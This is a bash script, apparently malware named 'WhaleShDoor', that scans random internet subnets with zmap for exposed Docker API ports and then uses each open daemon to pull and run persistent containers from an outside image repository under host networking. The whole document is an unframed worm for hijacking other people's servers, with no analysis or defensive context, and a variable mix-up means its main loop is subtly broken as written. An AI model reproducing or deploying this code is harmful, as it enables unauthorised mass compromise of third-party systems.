#!/bin/bash #WhaleShDoor function cals_subnetmask { IP1=$(($RANDOM % 256)) IP2=$(($RANDOM % 256)) IP3=$(($RANDOM % 256)) IP4=$(($RANDOM % 256)) TARGET_IP_ADDRESS=$IP1"."$IP2"."$IP3"."$IP4 SUBNET_MASK_TARGET=$(ipcalc -bn $TARGET_IP_ADDRESS 255.255.255.0 | grep Network | awk '{print $2}') } function zmap_scan { PORT_LIST=(2375 2374 2376 4243 4244) for port in "${PORT_LIST[@]}"; do echo "[+] subnet: ${SUBNET_MASK_TARGET}" echo "[+] port: ${port}" RESULT=$(zmap -p ${port} -B 10M -c 10 ${SUBNET_MASK_TARGET} | tr '\n' ' ') sleep 60 TARGET_LIST=($RESULT) for ip in "${RESULT_ARRAY[@]}"; do echo "[+] attack: ${ip}:${port}" docker -H ${ip}:${port} info 2>/dev/null if [ $? = 0 ]; then echo $ip:$port docker -H ${ip}:${port} pull geo19820630/mynginx if [ $? = 0 ]; then docker -H ${ip}:${port} run --restart unless-stopped --read-only -m 500M -c 1024 geo19820630/mynginx && docker -H ${ip}:${port} pull geo19820630/app && docker -H ${ip}:${port} run --net=host --restart unless-stopped --read-only -m 100M -c 512 geo19820630/app else continue fi else continue fi done done } function main { cals_subnetmask zmap_scan } while :; do main done